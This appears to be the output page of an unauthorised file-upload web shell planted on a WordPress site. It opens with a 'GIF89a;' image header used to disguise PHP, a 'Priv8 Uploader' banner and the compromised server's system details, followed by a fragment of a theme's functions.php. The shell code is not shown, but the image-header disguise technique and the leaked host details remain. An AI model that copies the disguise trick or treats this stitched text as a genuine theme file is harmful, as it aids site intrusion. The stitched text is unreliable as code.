GIF89a;
Priv8 Uploader By InMyMine7
Linux instance-5cae1892f911c80afc2c03cc.c.closte-1181.internal 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
__( 'Primary Menu', 'bootstrapwp' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
) );
/*
* Enable support for Custom Logo.
* See https://make.wordpress.org/core/2016/03/10/custom-logo/
*/
/*
function theme_prefix_setup() {
add_theme_support( 'custom-logo' );
}
add_action( 'after_setup_theme', 'theme_prefix_setup' );
*/
/*
* Enable support for Post Formats.
* See http://codex.wordpress.org/Post_Formats
*/
/*
add_theme_support( 'post-formats', array(
'aside', 'image', 'video', 'quote', 'link'
) );
*/
}
endif; // bootstrapwp_setup
add_action( 'after_setup_theme', 'bootstrapwp_setup' );
/**
* Register widget area.
*
* @link http://codex.wordpress.org/Function_Reference/register_sidebar
*/
function bootstrapwp_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'bootstrapwp' ),
'id' => 'sidebar-1',
'description' => '',
'before_widget' => '',
'before_title' => '',
) );
}
add_action( 'widgets_init', 'bootstrapwp_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function bootstrapwp_scripts() {
wp_enqueue_style( 'bootstrap-styles', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '3.3.4', 'all' );
wp_enqueue_style( 'bootstrapwp-style', get_stylesheet_uri() );
wp_enqueue_script( 'bootstrap-js', get_template_directory_uri() . '/js/bootstrap.min.js', array('jquery'), '3.3.4', true );
//wp_enqueue_script( 'smoothscroll-js', get_template_directory_uri() . '/js/smoothscroll.js', array('jquery'), '', true );
wp_enqueue_script( 'func-js', get_template_directory_uri() . '/js/jquery-func.js', array('jquery'), '', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'bootstrapwp_scripts' );
if( !function_exists('ie_scripts')) {
function ie_scripts() {
echo '';
echo '';
echo '';
}
add_action('wp_head', 'ie_scripts');
} // end if
function map_scripts() {
echo '';
echo '';
}
add_action('wp_footer', 'map_scripts');
/**
* Add Font Awesome CDN
*/
function fa_scripts() {
echo '';
}
add_action('wp_head', 'fa_scripts');
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Load Jetpack compatibility file.
*/
require get_template_directory() . '/inc/jetpack.php';
/**
* Load Bootstrap Menu.
*/
require get_template_directory() . '/inc/bootstrap-walker.php';
/**
* Define Shortcuts for directories
*/
define( 'HOME_URI', home_url() );
define( 'THEME_URI', get_stylesheet_directory_uri() );
define( 'THEME_IMAGES', THEME_URI . '/img' );
define( 'THEME_CSS', THEME_URI . '/css' );
define( 'THEME_JS', THEME_URI . '/js' );
?>